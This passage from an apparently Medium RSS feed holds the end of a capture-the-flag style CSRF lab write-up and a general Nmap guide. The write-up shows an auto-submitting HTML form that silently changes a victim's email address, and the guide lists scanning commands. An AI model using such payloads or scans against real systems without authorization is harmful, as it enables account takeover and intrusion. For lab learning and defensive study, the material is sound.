value=&quot;wiener3@normal-user.net&quot; /&gt;<br>&lt;/form&gt;<br>&lt;script&gt;<br>        document.forms[0].submit();<br>&lt;/script&gt;</pre><p>With this HTML code, we send a POST request to the change-email endpoint and set the desired email address as the value. The script section contains code that triggers the form with an index of 0 in the DOM. The purpose of this is to automate the victim&#39;s submission process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b857_Il47P7663M0ATBRAg.png" /></figure><p>Since we can see the result, our task is complete. A small tip: after writing the payload, click on <strong>STORE</strong>, then click <strong>DELIVER TO VICTIM</strong>. Finally, click <strong>View Exploit</strong> to see the result.</p><p>Since we’ve successfully completed this lab, it’s time to say goodbye. I hope this article has been helpful to you. See you next time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f17b30a32cd9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nmap (Network Mapper): A Comprehensive Guide to Network Exploration and Security]]></title>
            <link>https://medium.com/@soltanovkamil19/nmap-network-mapper-a-comprehensive-guide-to-network-exploration-and-security-586cc893b23b?source=rss-7a80daecc669------2</link>
            <guid isPermaLink="false">https://medium.com/p/586cc893b23b</guid>
            <category><![CDATA[nmap-scan]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[host-discovery]]></category>
            <dc:creator><![CDATA[Kara]]></dc:creator>
            <pubDate>Sun, 29 Dec 2024 18:16:19 GMT</pubDate>
            <atom:updated>2024-12-29T18:16:19.495Z</atom:updated>
            <content:encoded><![CDATA[<p>Nmap (short for “Network Mapper”) is a versatile and powerful open-source tool used for network exploration and security auditing. Designed to provide detailed insights into network activity, it is widely regarded as an essential tool for network administrators, security professionals, and IT enthusiasts. The official website, <a href="https://nmap.org/">nmap.org</a>, serves as a rich repository of information and resources about Nmap.</p><h3>What Is Nmap?</h3><p>Nmap is a network scanning tool that enables users to identify active devices, open ports, running services, and operating systems on a network. It is invaluable for network management, troubleshooting, and security analysis. Nmap’s capabilities go beyond simple scanning, offering features like advanced scripting and service version detection.</p><h3>Key Features of Nmap</h3><p>Nmap’s wide range of features makes it a go-to solution for network professionals. Some of its most notable features include:</p><ul><li><strong>Host Discovery</strong>: Finds active devices on a network.</li><li><strong>Port Scanning</strong>: Identifies open ports and their associated services.</li><li><strong>Service Version Detection</strong>: Determines the specific software and versions running on open ports.</li><li><strong>OS Detection</strong>: Provides insights into the operating systems of networked devices.</li><li><strong>Nmap Scripting Engine (NSE)</strong>: Automates tasks like vulnerability detection, service discovery, and network inventory.</li><li><strong>Advanced Scanning Techniques</strong>: Includes support for IPv6, stealth scanning, and fast network sweeps.</li></ul><h3>How Nmap Works</h3><p>Nmap employs a variety of scanning techniques to gather information:</p><ul><li><strong>TCP Connect</strong>: Establishes a full connection to probe open ports.</li><li><strong>SYN Scan</strong>: Performs a stealthy scan by sending SYN packets, avoiding full TCP handshakes.</li><li><strong>UDP Scan</strong>: Checks for open UDP ports, which are often overlooked by other scanners.</li><li><strong>Version Detection</strong>: Interrogates services to identify application versions and configurations.</li><li><strong>Traceroute</strong>: Maps the route packets take to reach the target.</li></ul><h3>Advanced Features of the Nmap Scripting Engine (NSE)</h3><p>The NSE is one of Nmap’s most powerful components, enabling users to write or use pre-existing scripts to extend its functionality. Common use cases include:</p><ul><li><strong>Vulnerability Scanning</strong>: Identifies weaknesses in network services.</li><li><strong>Service Enumeration</strong>: Gathers detailed information about services.</li><li><strong>Exploit Detection</strong>: Checks for known vulnerabilities or misconfigurations.</li></ul><p>Scripts are written in Lua, and Nmap provides a rich library of pre-written scripts, making it easy for users to customize their scans.</p><h3>Benefits of Using Nmap</h3><p>Nmap offers numerous advantages for network exploration and security:</p><ul><li><strong>Proactive Security</strong>: Helps identify vulnerabilities and weak points before attackers can exploit them.</li><li><strong>Efficient Network Management</strong>: Simplifies tasks like network inventory, troubleshooting, and performance monitoring.</li><li><strong>Customizable Scans</strong>: Supports user-defined configurations for tailored results.</li></ul><h3>Practical Applications</h3><p>Here are some examples of how Nmap can be used in real-world scenarios:</p><pre># Discover all devices in a network<br>nmap -sn 192.168.1.0/24</pre><pre># Perform a SYN scan on a subnet<br>nmap -sS 192.168.1.0/24</pre><pre># Detect operating systems and services<br>nmap -A example.com</pre><pre># Use a specific script for vulnerability detection<br>nmap --script vuln example.com</pre><h3>Limitations of Nmap</h3><p>Despite its powerful capabilities, Nmap has certain limitations:</p><ul><li><strong>Firewall Evasion</strong>: Advanced firewalls and intrusion detection systems (IDS) may block or detect Nmap scans.</li><li><strong>System Impact</strong>: Improper scanning techniques can disrupt system performance or trigger security alerts.</li><li><strong>Skill Requirement</strong>: Understanding and interpreting Nmap results require technical expertise.</li></ul><h3>Best Practices for Using Nmap</h3><p>To maximize Nmap’s potential while minimizing risks, consider these best practices:</p><ul><li>Use scanning techniques appropriate to your network environment.</li><li>Combine Nmap scans with other security tools for comprehensive assessments.</li><li>Follow ethical guidelines and ensure you have permission before scanning networks.</li></ul><h3>Additional Resources</h3><p>For more detailed information and advanced usage guides, consult the following:</p><ul><li><a href="https://nmap.org/book/">Nmap Official Guide</a>: Comprehensive manual on Nmap’s features.</li><li><a href="https://nmap.org/nsedoc/">Nmap Scripting Engine Documentation</a>: Reference for NSE scripts.</li><li><a href="https://nmap.org/refguide.html">Nmap Reference Guide</a>: Detailed technical reference for commands and options.</li></ul><h3>Conclusion</h3><p>Nmap is an indispensable tool for anyone involved in network security and administration. Its extensive features, flexibility, and powerful scripting capabilities make it a leader in network exploration tools. By learning to use Nmap effectively, you can strengthen your network’s security and optimize its performance.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=586cc893b23b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>